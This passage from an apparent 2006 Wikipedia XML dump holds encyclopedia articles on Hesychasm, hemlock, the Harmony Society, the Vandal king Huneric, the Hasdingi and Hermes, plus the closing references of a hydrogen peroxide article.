* [http://www-cie.iarc.fr/htdocs/monographs/vol71/023-hydrogenper.html IARC Monograph &quot;Hydrogen Peroxide&quot;]
* [http://www.gkllc.com General Kinetics Inc. Hydrogen Peroxide Rocket Engines and Gas Generators]
* [http://www.quackwatch.org/01QuackeryRelatedTopics/Cancer/oxygen.html Oxygenation Therapy:Unproven Treatments for Cancer and AIDS]
* [http://media.armadilloaerospace.com/misc/MaterialTest.mpg Video of a high concentration solution of hydrogen peroxide reacting with different clothing materials (including leather, which is &quot;exciting&quot;)]

==References==
#{{an|thioether}} J. Drabowicz ''et al.'', in ''The Syntheses of Sulphones, Sulphoxides and Cyclic Sulphides'', p112-116, G. Capozzi ''et al.'', eds., John Wiley &amp; Sons, Chichester, UK, 1994. ISBN 0-471-93970-6. 
# N. N. Greenwood, A. Earnshaw, ''Chemistry of the Elements'', 2nd ed., Butterworth-Heinemann, Oxford, UK, 1997.  A great description of properties &amp; chemistry of H&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.
# J. March, ''Advanced Organic Chemistry'', 4th ed., p. 723, Wiley, New York, 1992.
# W. T. Hess, ''Hydrogen Peroxide'', in ''Kirk-Othmer Encyclopedia of Chemical Technology'', 4th edition, Wiley, New York, Vol. 13, 961-995 (1995).
# {{anb|cancer}} CA Cancer J Clin. 1993 Jan-Feb;43(1):47-56. &quot;Questionable methods of cancer management: hydrogen peroxide and other 'hyperoxygenation' therapies.&quot; PMID 8422605

[[Category:Peroxides]][[Category:Hydrogen compounds]]
[[Category:Household chemicals]]
[[Category:Rocket fuels]]
[[Category:Antiseptics]]
[[Category:Bleaches]]

[[ca:Peròxid d'hidrogen]]
[[de:Wasserstoffperoxid]]
[[es:Peróxido de hidrógeno]]
[[fr:Peroxyde d'hydrogène]]
[[it:Perossido di idrogeno]]
[[he:מימן על-חמצני]]
[[lt:Vandenilio peroksidas]]
[[nl:Waterstofperoxide]]
[[ja:過酸化水素]]
[[nn:Hydrogenperoksid]]
[[pl:Nadtlenek wodoru]]
[[pt:Peróxido de hidrogênio]]
[[ru:Пероксид водорода]]
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[[vi:Nước ôxy già]]
[[zh:过氧化氢]]</text>
    </revision>
  </page>
  <page>
    <title>Hesychasm</title>
    <id>14404</id>
    <revision>
      <id>41313585</id>
      <timestamp>2006-02-26T14:01:52Z</timestamp>
      <contributor>
        <username>Orthodox Monk</username>
        <id>671643</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Hesychasm''' ([[Greek language|Greek]] ησυχασμός ''hesychasmos'', from ησυχία ''hesychia'', &quot;stillness, rest, quiet&quot;) is an [[eremitic]] tradition of [[prayer]] in [[Eastern Orthodox]] [[Christianity]] practised (Gk: ησυχάζω ''hesychazo'': &quot;to keep stillness&quot;) by the '''Hesychast''' (Gr. ησυχαστής ''hesychastes'').  

==History of the term==

The origin of the term ''hesychasmos'' and of the related terms ''hesychastes'', ''hesychia'' and ''hesychazo'' is not entirely certain. According to the entries in Lampe's ''A Patristic Greek Lexicon'', the basic terms ''hesychia'' and ''hesychazo'' appear as early as the 4th Century in such Fathers as St [[John Chrysostom]] and the Cappadocians.  The terms also appear in the same period in [[Evagrius Pontikos]] (c.345–399), who although he is writing in Egypt is out of the circle of the Cappadocians, and in the ''[[Sayings of the Desert Fathers]].''

The term ''Hesychast'' is used sparingly in Christian [[ascetical]] writings emanating from [[Egypt]] from the 4th Century on, although the writings of Evagrius and the ''Sayings of the Desert Fathers'' do attest to it.  In Egypt, the terms more often used are ''anchoretism'' (Gr. αναχώρησις, &quot;withdrawal, retreat&quot;),'' and ''[[anchorite]]'' (Gr. αναχωρητής, &quot;one who withdraws or retreats, i.e. a hermit&quot;).

The term ''Hesychast'' was used in [[Palestine]] in the 6th Century in the ''Lives'' of [[Cyril of Scythopolis]], many of which lives treat of Hesychasts who were contemporaries of Cyril.  Here it should be noted that several of the saints about whom Cyril was writing, especially Euthymios and Savas, were in fact from Cappadocia.

The laws ''(novella)'' of the Emperor [[Justinian]] (6th Century) treat ''Hesychast'' and ''anchorite'' as synonyms, making them interchangeable terms.

The terms ''hesychia'' and ''Hesychast'' are used quite systematically in the ''Ladder of Divine Ascent'' of [[St John of Sinai]] (523–603) and in ''Pros Theodoulon'' by St Hesychios (''c.''750?), who is ordinarily also considered to be of the School of [[Sinai]].  It is not known where either St John of Sinai or St Hesychios were born, nor where they received their monastic formation.

It appears that the particularity of the term ''Hesychast'' has to do with the integration of the continual repetition of the [[Jesus Prayer]] into the practices of mental ascesis already used by hermits in Egypt.

''Hesychasm'' itself is not recorded in Lampe, which indicates that it is a much later usage.

By the 14th Century on [[Mt Athos]] the terms ''Hesychasm'' and ''Hesychast'' refer to the practice and to the practitioners of a method of mental ascesis that involves the use of the Jesus Prayer assisted by certain psychophysical techniques.  Most likely, the rise of term ''Hesychasm'' reflects the coming to the fore of this practice as something concrete that can be discussed.

Books used by the Hesychast include the ''[[Philokalia]],'' a collection of texts on prayer and solitary mental ascesis written from the 4th to the 15th Centuries, this collection existing in a number of independent redactions; the ''Ladder of Divine Ascent;'' the collected works of [[St Symeon the New Theologian]] (949–1022); and the works of [[St Isaac the Syrian]] (7th C.?–8th C.?), as they were selected and translated into Greek at the [[Monastery of St Savas]] in [[Jerusalem]] about the 10th Century.

==Hesychastic practice==

Hesychastic practice bears some superficial resemblance to mystical prayer or meditation in Eastern religions ([[Buddhism]], [[Hinduism]] and [[Sufism]], compare with [[yoga]]), although this similarity is often over-emphasized in popular accounts and is generally rejected by actual Orthodox practitioners of Hesychasm.  The practice may involve specific body postures, and be accompanied by very deliberate breathing patterns.  However, these bodily postures and breathing patterns are treated as secondary by both modern Athonite practitioners of Hesychasm (e.g. ''Elder Ephraim of Katounakia,'' p. 114 (Greek edition)) and by the more ancient texts in the ''Philokalia'' (e.g. ''On the Two Methods of Prayer'' by St Gregory of Sinai), the emphasis being on the primary role of Grace.

Hesychasts are fully inseted into the Liturgical and [[Sacraments|sacramental]] life of the Orthodox Church, including the daily cycle of prayer of the [[Canonical hours|Divine Office]] and the [[Divine Liturgy]].  However, Hesychasts who are living as hermits may have a very rare attendance at the Divine Liturgy (see the life of St Seraphim of Sarov) and may not recite the Divine Office except by means of the Jesus Prayer (attested practice on Mt Athos).  In general, the Hesychast seeks to restrict his external activities for the sake of his Hesychastic practice.

Hesychastic practice involves acquiring an inner stillness and ignoring the physical senses.  In this, Hesychasm shows its roots in Evagrius Pontikos and even in the Greek tradition of asceticism that goes back to [[Plato]].  The Hesychast interprets Christ's injunction in the [[Gospel of Matthew]] to &quot;go into your closet to pray&quot;, to mean that he should ignore the senses and withdraw inward.  St John of Sinai writes:  &quot;Hesychasm is the enclosing of the bodiless mind ''(nous)'' in the bodily house of the body.&quot;  ''(Ladder,'' Step 27, 5, (Step 27, 6 in the Holy Transfiguration edition).)

In Step 27, 21 of the ''Ladder'' (Step 27, 22–3 of the Holy Transfiguration edition), St John of Sinai describes Hesychast practice as follows:

::Take up your seat on a high place and watch, if only you know how, and then you will see in what manner, when, whence, how many and what kind of thieves come to enter and steal your clusters of grapes.  When the watchman grows weary, he stands up and prays; and then he sits down again and courageously takes up his former task.

In this passage, St John of Sinai says that the primary task of the Hesychast is to engage in mental ascesis.  This mental ascesis is the rejection of tempting thoughts (the “thieves”) that come to the Hesychast as he watches in sober attention in his hermitage.  Much of the literature of Hesychasm is occupied with the  psychological analysis of such tempting thoughts (e.g. [[St Mark the Ascetic]]).  This psychological analysis owes much to the ascetical works of Evagrius Pontikos, with its doctrine of the eight passions.

[[John Cassian|St. John Cassian]] is not represented in the ''Philokalia'' except by two brief extracts, but this is most likely due to his having written in Latin.  His works ''(Coenobitical Institutions'' and the ''Conferences)'' represent a transmittal of Evagrius Pontikos’ ascetical doctrines to the West.  These works formed the basis of much of the spirituality of the [[Order of St Benedict]] and of its offshoots. Hence, the tradition of St John Cassian in the West concerning the spiritual practice of the hermit can be considered to be a tradition parallel to that of Hesychasm in the Orthodox Church.

The highest goal of the Hesychast is the experiential knowledge of God.  In the 14th Century, the possibility of this experiential knowledge of God was challenged by a [[Calabrian]] monk, Barlaam, who had been trained in Western Scholastic theology.  He asserted that our knowledge of God can only be propositional.  The practice of the Hesychasts was defended by [[Gregory Palamas|St. Gregory Palamas]].  (See below.)

In solitude and retirement the Hesychast repeats the [[Jesus Prayer]], ''&quot;Lord Jesus Christ, son of God, have mercy on me, a sinner.&quot;''  The Hesychast prays the Jesus Prayer 'with the heart'—with meaning, with intent, 'for real'.  He never treats the Jesus Prayer as a string of syllables whose 'surface' meaning is secondary or unimportant.  He considers bare repetition of the Jesus Prayer as a mere string of syllables to be worthless or even dangerous.  This emphasis on the actual, real invocation of Jesus Christ marks a divergence from Eastern forms of meditation.

There is a very great emphasis on humility in the practice of the Jesus Prayer, great cautions being given in the texts about the disaster that will befall the would-be Hesychast if he proceeds in pride, arrogance or conceit.

While he maintains his practice of the Jesus Prayer, which becomes automatic and continues twenty-four hours a day, seven days a week, the Hesychast cultivates sobriety (Gr. ''nepsis).''  Sobriety is the mental ascesis described above that rejects the tempting thoughts; it puts a great emphasis on focus and attention.  The Hesychast is to pay exteme attention to his consciousness of his inner world and to the words of the Jesus Prayer, not letting his mind wander in any way at all.

The Hesychast is to attach Eros (Gr. ''eros)'', that is, &quot;yearning&quot;, to his practice of sobriety so as to overcome the temptation to accidie (sloth).  He is also to use an extremely directed and controlled anger against the tempting thoughts, although to obliterate them entirely he is to invoke Jesus Christ via the Jesus Prayer.

The Hesychast is to bring his mind (Gr. ''nous)'' into his heart so as to practise both the Jesus Prayer and sobriety with his mind in his heart.  The descent of the mind into the heart is taken quite literally by the practitioners of Hesychasm and is not at all considered to be a metaphorical expression.  Some of the psychophysical techniques described in the texts are to assist the descent of the mind into the heart at those times that only with difficulty it descends on its own.

The goal at this stage is a practice of the Jesus Prayer with the mind in the heart, which practice is free of images (see ''Pros Theodoulon).''  What this means is that by the exercise of sobriety (the mental ascesis against tempting thoughts), the Hesychast arrives at a continual practice of the Jesus Prayer with his mind in his heart where his consciousness is no longer encumbered by the spontaneous inception of images: his mind has a certain stillness and emptiness that is punctuated only by the eternal repetition of the Jesus Prayer.

This stage is called the ''guard of the mind.''  This is a very advanced stage of ascetical and spiritual practice, and attempting to accomplish this prematurely, especially with psychophysical techniques, can cause very serious spiritual and emotional harm to the would-be Hesychast.  St [[Theophan the Recluse]] once remarked that bodily postures and breathing techniques were virtually forbidden in his youth, since, instead of gaining the Spirit of God, people succeeded only &quot;in ruining their lungs.&quot;

The guard of the mind is the practical goal of the Hesychast.  It is the condition in which he remains as a matter of course throughout his day, every day until he dies.  It is from the guard of the mind that he is raised to contemplation by the Grace of God.

The Hesychast usually experiences the contemplation of God as light, the Uncreated Light of the theology of St Gregory Palamas.  The Hesychast, when he has by the mercy of God been granted such an experience, does not remain in that experience for a very long time (there are exceptions—see for example the ''Life'' of St Savas the Fool for Christ (14th Century), written by [[St Philotheos Kokkinos]] (14th Century)), but he returns 'to earth' and continues to practise the guard of the mind.

The Uncreated Light that the Hesychast experiences is identified with the Holy Spirit.  Experiences of the Uncreated Light are allied to the 'acquisition of the Holy Spirit'. Notable accounts of encounters with the Holy Spirit in this fashion are found in St Symeon the New Theologian's account of the illumination of 'George' (considered a pseudonym of St Symeon himself), in the 'conversation with Motovilov' in the ''Life'' of [[St Seraphim of Sarov]] (1759 – 1833), and, more recently, in the reminiscences of [[Starets | Elder]] [[Porphyrios]] (''Wounded by Love'' pp. 27 – 31).

Orthodox Tradition warns against seeking [[ecstasy]] as an end in itself.  Hesychasm is a traditional complex of practices embedded in the doctrine and practice of the Orthodox Church intended to purify the member of the Orthodox Church and to make him ready for an encounter with God that comes to him when and if God wants, through God's Grace.  The goal is to acquire, through purification and Grace, the Holy Spirit and salvation. Any ecstatic states or other unusual phenomena that may occur in the course of Hesychast practice are considered secondary and unimportant, and even quite dangerous. Moreover, seeking after unusual 'spiritual' experiences can itself cause great harm, ruining the soul and the mind of the seeker. Such a seeking after 'spiritual' experiences can lead to ''spiritual delusion'' (Ru. ''prelest,'' Gr. ''plani)''—the antonym of sobriety—in which a person believes himself or herself to be a saint, has hallucinations in which he or she 'sees' angels, Christ, etc. This state of spiritual delusion is in an superficial, egotistical way pleasurable, but can lead to madness and suicide, and, according to the Hesychast fathers, it makes salvation impossible.

Mount Athos is a centre of the practice of Hesychasm.  St [[Paisius Velichkovsky]] and his disciples [[starets|made the practice known]] in [[Russia]] and [[Romania]], although Hesychasm was already previously known in Russia, as is attested by [[St Seraphim of Sarov]]'s (1759 – 1833) independent practice of it.

===Gregory Palamas: defender of Hesychasm===

About the year [[1337]] Hesychasm attracted the attention of the learned [[Barlaam of Calabria|Barlaam, a Calabrian monk]], who at that time held the office of abbot in the Monastery of [[St Saviour]]'s in Constantinople and who visited Mount Athos.  [[Mount Athos]] was then at the height of its fame and influence under the reign of [[Andronicus III|Andronicus the Younger]] and under the 'first-ship' of the Protos Symeon.  On Mount Athos, Barlaam encountered Hesychasts and heard descriptions of their practice, also reading the writings of the teacher in Hesychasm of St [[Gregory Palamas]], himself an Athonite monk.  Trained in Western [[Scholasticism|Scholastic]] theology, Barlaam was scandalized by Hesychasm and began to combat it both orally and in his writings.  As a  private teacher of theology in the Western Scholastic mode, Barlaam propounded a more intellectual and propositional approach to the knowledge of God than the Hesychasts taught.

Barlaam took exception to, as [[heresy|heretical]] and [[blasphemy|blasphemous]], the doctrine entertained by the Hesychasts as to the nature of the light, the experience of which was said to be the goal of Hesychast practice.  It was maintained by the Hesychasts to be of divine origin and to be identical to that light which had been manifested to Jesus' disciples on [[Mount Tabor]] at the [[Transfiguration]]. This Barlaam held to be [[Polytheism|polytheistic]], inasmuch as it postulated two eternal substances, a visible and an invisible God.

On the Hesychast side, the controversy was taken up by St [[Gregory Palamas]], afterwards Archbishop of Thessalonica, who was asked by his fellow monks on Mt Athos to defend Hesychasm from the attacks of Barlaam. St Gregory himself was well-educated in Greek philosophy. St Gregory defended Hesychasm at three different synods in [[Constantinople]] in the 1340s and he also wrote a number of works in its defense.

In these works, St Gregory Palamas uses a distinction, already found in the 4th Century in the works of the [[Cappadocian Fathers]], between the energies or operations (Gr. ''energeies)'' of God and the essence of God. St Gregory taught that the energies or operations of God were uncreated. He taught that the essence of God can never be known by his creature even in the next life, but that his uncreated energies or operations can be known both in this life and in the next, and convey to the Hesychast in this life and to the righteous in the next life a true spiritual knowledge of God. In Palamite theology, it is the uncreated energies of God that illumine the Hesychast who has been vouchsafed an experience of the Uncreated Light.

In [[1341]] the dispute came before a [[synod]] held at [[Constantinople]] and presided over by the Emperor Andronicus; the synod, taking into account the regard in which the writings of the [[pseudo-Dionysius]] were held, condemned Barlaam, who recanted and returned to Calabria, afterwards becoming bishop in the Roman Catholic Church.

One of Barlaam's friends, Gregory Akindynos, who was originally also a friend of St Gregory Palamas, took up the controversy, and three other synods on the subject were held, at the second of which the followers of Barlaam gained a brief victory. But in [[1351]] at a synod under the presidency of the Emperor [[John VI Cantacuzenus]], Hesychast doctrine was established as the doctrine of the Orthodox Church.

Up to this day, the Roman Catholic Church has never fully accepted Hesychasm, especially the distinction between the energies or operations of God and the essence of God, and the notion that those energies or operations of God are uncreated.  In Roman Catholic theology as it has developed since the Scholastic period, the essence of God can be known, but only in the next life; the grace of God is always created; and the essence of God is pure act, so that there can be no distinction between the energies or operations and the essence of God (see, e.g., the ''Summa Theologiae'' of St Thomas Aquinas).  Some of these positions depend on Aristotelian metaphysics.

The contemporary historians Cantacuzenus and [[Nicephorus Gregoras]] deal very copiously with this subject, taking the Hesychast and Barlaamite sides respectively.

==References==

* ''The ''[[Philokalia]].''  (Four volumes published, one awaited.)
* ''The Ladder of Divine Ascent''by St John of Sinai.
* ''The Ascetical Homilies of St Isaac the Syrian''.
* Works of St Symeon the New Theologian.
* ''Coenobitical Institutions'' and ''Conferences'' of St John Cassian.
* ''The Way of the Pilgrim''.
* ''St Silouan the Athonite''.  (Contains an introduction by [[Archimandrite Sophrony]] (Sakharov), immediate disciple of [[St Silouan,]] together with the meditations of St Silouan (1866 – 1938).)
* Works of Archimandrite Sophrony (Sakharov) (1896 – 1993).
* ''Elder Joseph the Hesychast''.  (Life of a very influential Hesychast on Mt Athos who died in 1959.)
* ''Monastic Wisdom.  The Letters of Elder Joseph the Hesychast''.
* ''Wounded by Love.  The Life and the Wisdom of Elder Porphyrios.''  (Reminiscences and reflections of Elder Porphyrios (1906 – 1991) of Mt Athos.)
* Works by Elder Paisios (1924 – 1994) of Mount Athos.  (A very well-known Athonite Elder and Hesychast.)
* ''Elder Ephraim of Katounakia.''  Translated by Tessy Vassiliadou-Christodoulou. (Life and teachings of [[Elder Ephraim]] (1912–1998) of Katounakia, Mt Athos, a disciple of [[Elder Joseph the Hesychast]].)
* ''Hieromonachos Charalampos Dionusiates, O didaskalos tes noeras proseuches (Hieromonk Charalambos of the Monastery of Dionysiou, The Teacher of Mental Prayer)''.  (Life and teachings of [[Elder Charalambos]] (1910–2001), sometime Abbot of the Monastery of Dionysiou, Mt Athos, and a disciple of Elder Joseph the Hesychast.  In Greek, available in English.) 
* Works of [[Archimandrite Aimilianos]] (1934 – ) of the Monastery of Simonos Petra, Mt Athos, especially Volumes I and II.
* ''Counsels from the Holy Mountain.  Selected from the Lessons and Homilies of Elder Ephraim.'' ([[Archimandrite Ephraim]] of the Monastery of St Anthony, Florence, Arizona.  Formerly Abbot of the Monastery of Philotheou on Mt Athos, and a disciple of Elder Joseph the Hesychast.  Not to be confused with Elder Ephraim of Katounakia.)

==See also==

* [[Eastern Orthodoxy]]
* [[Jesus Prayer]]
* [[Mysticism]]
* [[Philokalia]]
* [[The Way of a Pilgrim]]
* [[Meditation]]
* [[Prayer]]
* [[Theosis]]
* [[Chakra]] (Hesychastic centres of prayer &amp;mdash; ''chakra'' is not an Orthodox Christian term)

== External links ==

*[http://www.oca.org/OCchapter.asp?SID=2&amp;ID=195 The Jesus Prayer], a very straightforward exposition.
*[http://www.newadvent.org/cathen/07301a.htm Catholic Explanation of Hesychasm].  This is useful only as historical documentation of Roman Catholic attitudes to Hesychasm around 1910, the date that the Catholic Encyclopedia was published from which this article was taken.  While the article does have historical detail, its hostile tone creates doubt about the article as a whole.
*[http://www.catholicculture.org/docs/doc_view.cfm?recnum=5660 Pope John Paul II's Angelus Message, August 11, 1996]  This is a brief modern reflection by a Pope that refers directly to Hesychasm, indicating that its defense was in conflict with certain aspects of Roman Catholic teaching
*[http://www.monachos.net/patristics/palamas_theology.shtml Three foundational aspects of the Theology of St Gregory Palamas]
*[http://www.anamchara.org.uk How to pray the Jesus Prayer and make a Knotted Prayer Cord]  Not an Orthodox site, rather more Celtic.
*[http://www.stanthonysmonastery.org St Anthony's Monastery]
*[http://www.depthsofchristianity.org/hesychasm.html Practice of the Modern Hesychasm]  Not an Orthodox site.  Rather more New Age (gnostic) and syncretistic.  Teaches reincarnation.

[[Category:Christian mysticism]]
[[Category:Eastern Orthodoxy]]

[[de:Hesychasmus]]
[[it:Esicasmo]]
[[ru:Исихазм]]</text>
    </revision>
  </page>
  <page>
    <title>Hemlock</title>
    <id>14405</id>
    <revision>
      <id>33913683</id>
      <timestamp>2006-01-05T01:14:32Z</timestamp>
      <contributor>
        <username>Marudubshinki</username>
        <id>190816</id>
      </contributor>
      <minor />
      <comment>rm pov</comment>
      <text xml:space="preserve">The word '''Hemlock''' can refer to a number of things:

Several [[poison]]ous plants in the Parsley family, [[Apiaceae]] (formerly Umbelliferae) are called ''hemlock'':
*[[Poison hemlock]] is a common European plant, ''[[Conium|Conium maculatum]]''; it contains the [[alkaloid]] [[Coniine]].
*[[Cicuta virosa|Water hemlock]] was the state poison of ancient [[Greece]].
*[[Water dropwort]] is ''[[Oenanthe (plant)|Oenanthe crocota]]''. 

Quite different from these are the [[conifer]]ous [[tree]]s in the genus ''[[Tsuga]]'', family [[Pinaceae]]. These are not toxic, being called 'hemlock' through a supposed similarity in the scent of the foliage to that of ''Conium maculatum''.

''Hemlock'' is occasionally used as a place name (generally in the US because of the tree). see: 
*[[Hemlock, Michigan]]
*[[Hemlock, Ohio]]

''Hemlock'' can also refer to the [[Emacs]] [[text editor]] variant, [[Hemlock (editor)|Hemlock]].

{{disambig}}

[[pl:Cykuta]]
[[zh:&amp;#27602;&amp;#22535;]]</text>
    </revision>
  </page>
  <page>
    <title>Harmony Society</title>
    <id>14406</id>
    <revision>
      <id>40364338</id>
      <timestamp>2006-02-20T01:57:49Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''Harmony Society''' was a [[Christian theosophy]] and [[alchemy|alchemist]] society founded in [[Iptingen]], [[Germany]], in [[1785]] or 1786. Due to religious persecution by the [[Lutheran Church]], the Harmony Society moved to the United States in [[1803]]&amp;ndash;[[1804]], eventually purchasing 3000 acres (12 km²) of land in [[Butler County, Pennsylvania]]. On [[February 15]] [[1805]], they, together with about 400 followers, formally organized the Harmony Society, placing all their goods in common.

The Society was founded and led by [[Johann Georg Rapp]] ([[1757]]&amp;ndash;[[1847]]) and his adopted son, [[Frederick Rapp]] ([[1775]]&amp;ndash;[[1834]]). The Harmony Society is best known for its worldly successes, eventually building three successive communities, first at [[Harmony, Pennsylvania|Harmony]], then [[New Harmony, Indiana]], finally settling in [[Economy, Pennsylvania|Economy]] (now [[Ambridge, Pennsylvania]]).   

==External links==
*[http://www.esoteric.msu.edu/Versluis.html Account of the Harmony Society and its beliefs]

[[Category:Christian denominations]]</text>
    </revision>
  </page>
  <page>
    <title>History of Weights and Measures</title>
    <id>14407</id>
    <revision>
      <id>15911966</id>
      <timestamp>2003-02-12T14:27:18Z</timestamp>
      <contributor>
        <ip>213.253.40.129</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Weights and measures]]</text>
    </revision>
  </page>
  <page>
    <title>Huneric</title>
    <id>14408</id>
    <revision>
      <id>25061673</id>
      <timestamp>2005-10-08T15:02:48Z</timestamp>
      <contributor>
        <ip>83.198.75.172</ip>
      </contributor>
      <text xml:space="preserve">'''Huneric''' (d. [[December 23]], [[484]]) was King of the [[Vandals]] ([[477]] &amp;ndash; [[484]]) and the oldest son of [[Geiseric]]. He dropped the imperial politics of his father and concentrated mainly on internal affairs. He was married to [[Eudocia]], daughter of western [[Roman Emperors|Roman Emperor]] [[Valentinian III]] ([[419]]&amp;ndash;[[455]]), but she left him probably in [[472]].

Despite his adherence to [[Arianism|Arian]] [[Christianity]], at the beginning of his reign Huneric allowed the election of a new [[Catholic church|Catholic]] bishop of [[Carthage]] and persecuted the [[Manichaeism|Manichaean]] [[sect]]. Then he started persecuting Catholics: he punished all Catholic Vandals. Furthermore, he tried to make Catholic property fall to the state, but when this caused too much protest from the [[Byzantine Empire|Byzantine]] emperor, he chose to banish a number of Catholics to a faraway province instead. On [[February 1]], [[484]] he organised a meeting of Catholic bishops with Arian bishops, but on [[February 24]], [[484]] he proclaimed Catholics [[heresy|heretics]]. A number of Catholic bishops were banished to [[Corsica]], most others were removed from their office but allowed to stay near their former [[diocese]]. A few were [[martyr]]ed.

He also murdered many members of [[Hasdingi]] dynasty. Huneric was the first Vandal king who used title of ''king of Vandals and [[Alans]]''. He was succeeded by his nephew [[Gunthamund]] (reigned [[484]]&amp;ndash;[[496]]), and was little mourned by either the Vandals or their subjects due to his cruelty.

In his relations with other states, Huneric did not have the prestige that his father Geiseric had enjoyed. Nevertheless, the Vandals maintained their seapower and their hold on the islands of the western [[Mediterranean Sea]]. But the [[Moors]] in the inlands of [[Algeria]], who had been quiet in Geiseric's days, managed to conquer some Vandal outposts in their area, thus severing the connection between the Vandal heartland around [[Carthage]] and their westernmost possessions around [[Tangiers]].

{{start box}}
{{succession box | before = [[Geiseric]]| title = [[Vandal|King of the Vandals]]|years=[[477]]&amp;ndash;[[484]]| after = [[Gunthamund]]}}
{{end box}}

[[Category:484 deaths]]
[[Category:Kings of the Vandals]]
[[de:Hunerich]]
[[fr:Hunéric]]</text>
    </revision>
  </page>
  <page>
    <title>Hasdingi</title>
    <id>14409</id>
    <revision>
      <id>38314376</id>
      <timestamp>2006-02-05T14:45:48Z</timestamp>
      <contributor>
        <username>Pinktulip</username>
        <id>739543</id>
      </contributor>
      <text xml:space="preserve">The '''Hasdingi''' were the southern tribes of the [[Vandals]], an [[East Germanic tribe]].  They lived in areas of today's southern [[Poland]], [[Slovakia]] and [[Hungary]]. They where part of the migratory movements of the Vandals, into the [[Iberian peninsula]] and later on to [[North Africa]].

The '''Hasdingi''' were also a dynasty which ruled the Vandals.

==See also==
*[[Migrations period]]
*[[Silingi]]
*[[Alans#The_.27western.27_Alans_and_Vandals|The western Alans and Vandals]]
*[[Timeline of Portuguese history (Germanic Kingdoms)|Timeline of Portuguese history - Germanic Kingdoms (5th to 8th Century)]]


[[Category:Ethnic groups in Europe]]
[[Category:Vandal history]]


{{ethno-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Hermes</title>
    <id>14410</id>
    <revision>
      <id>41997246</id>
      <timestamp>2006-03-03T03:01:17Z</timestamp>
      <contributor>
        <ip>154.20.38.179</ip>
      </contributor>
      <comment>/* Other roles */</comment>
      <text xml:space="preserve">{{dablink|For other meanings see [[Hermes (disambiguation)]]}}
[[Image:Hermes by Praxiteles.jpg|thumb|200px|Hermes bearing the infant [[Dionysus]], by [[Praxiteles]]]] 
'''Hermes''' ([[Ancient Greek|Greek]] {{polytonic|ʽἙρμῆς}} [[IPA]] {{IPA|[her'me:s]}}), in [[Greek mythology]], is the god of boundaries and of the travelers who cross them, of [[shepherd]]s and cowherds, of orators, literature and poets, of athletics, of weights and measures and invention and commerce in general, of liars, and of the cunning of thieves. As a translator, he is the messenger from the gods to humans.  A lucky find was a ''hermaion''. An interpreter who bridges the boundaries with strangers is a ''hermeneus.'' Hermes gives us our word &quot;[[hermeneutics]]&quot; for the art of interpreting hidden meaning.

1 In the Roman adaptation of the Greek religion, Hermes was identified with the Roman God [[Mercury (mythology)|Mercury]], who had many similar characteristics, such as both being gods of commerce.

:''Main article: [[Hermes Trismegistus]]''.
In the Hellenistic and then Greco-Roman culture of [[Alexandria]], [[syncreticism|syncretic conflation]] of Hermes with the Egyptian god of wisdom [[Thoth]] produced the figure of [[Hermes Trismegistus]], to whom a body of arcane lore was attributed. The writings attributed to Hermes Trismegistus were edited and published in the Italian [[Renaissance]]. This figure should not be confused with Greek Hermes.

Among the [[Greeks|Hellene]]s, as the related word ''[[herma]]'' &quot;a boundary stone, crossing point&quot; would suggest, Hermes embodies the spirit of crossing-over: he was seen to be manifest in any kind of interchange, transfer, transgressions, transcendence, transition, transit or traversal, all of which activities involve some form of crossing in some sense. This explains his connection with transitions in one’s fortunes, with the interchanges of goods, words and information involved in trade, interpreting, oratory, writing, with the way in which the wind may transfer objects from one place to another, and with the transition to the afterlife.
{{TOCleft}}
In the fully-developed Olympian pantheon, Hermes is the son of [[Zeus]] and [[Maia (mythology)|Maia]].  The name ''Hermes'' has been thought to be derived from the Greek word ''[[herma]]'' (ἕρμα), which denotes a square or rectangular pillar  with the head of Hermes (usually with a beard) adorning the top of the pillar, and male genitals below; however, due to the god's attestation in the Mycenaean pantheon, as '''Hermes Araoia'' (&quot;Ram Hermes&quot;) in [[Linear B]] inscriptions at [[Pylos]] and Mycenaean [[Knossos]] [http://www.csun.edu/~hcfll004/mycen.html], the connection is more likely to have moved the opposite way, ''from'' deity ''to'' pillar representations.  From the subsequent association of these cairns &amp;mdash; which were used in [[Athens]] to ward off evil and also as road and boundary markers all over Greece &amp;mdash; Hermes acquired patronage over land travel.  He was also the god of shepherds, merchants, weights and measurements, oratory, literature, athletics, and thieves.  His symbols were the [[Chicken|cock]], tortoise, purse or pouch, winged sandals, winged cap, and the heralds staff.  Hermes was the god of thieves because he was very cunning and shrewd and was a thief himself from the night he was born.  The night Hermes was born he snuck away from his mother and ran away to steal his Brother [[Apollo]]'s cattle.  He drove the cattle back to Greece and hid them and covered their tracks.  When Apollo accused Hermes, Maia said that it could not be him because he was with her the whole night, however Zeus entered into the argument and said that Hermes did steal the cattle and they should be returned.  While arguing with Apollo, Hermes began to play his [[lyre]]. The instrument enchanted Apollo and he agreed to let Hermes keep the cattle in exchange for the lyre.  Hermes was the herald to the gods (messenger of the gods) so he had to guide the souls of the dead to the [[Hades|underworld]], the person who does this is called a [[psychopomp]].  Hermes was very loyal to his father Zeus, when Zeus fell in love with the nymph Io, Hermes saved her from the many-eyed Argus by lulling him to sleep with stories and songs, decapitating him with a crescent-shaped sword.  Some say that is representative of killing the disapproving eyes of the community, always policing good conduct in a shame-based society through their disapproving gaze.

== Cult ==
{{Greek myth (Olympian)}}
General article: [[Cult (religion)]]''.

Though temples to Hermés existed throughout [[Greece]], a center of his cult was at [[Pheneos]] in [[Arcadia]], where festivals in his honor were called ''Hermoea''.
[[Image:Mercurybyhendrickgoltzius.jpeg|thumb|left|200px|''Mercury'' by [[Hendrick Goltzius]], 1611 (Frans Halsmuseum, Haarlem)]]

As a crosser of boundaries, ''Hermés Psychopompos''' (&quot;conductor of the soul&quot;) was a psychopomp, meaning he brought newly-dead souls to the underworld, [[Hades]].  In the Homeric ''Hymn to Demeter'', Hermes conducts the [[Kore]] safely back to [[Demeter]]. He also brought dreams to living mortals.

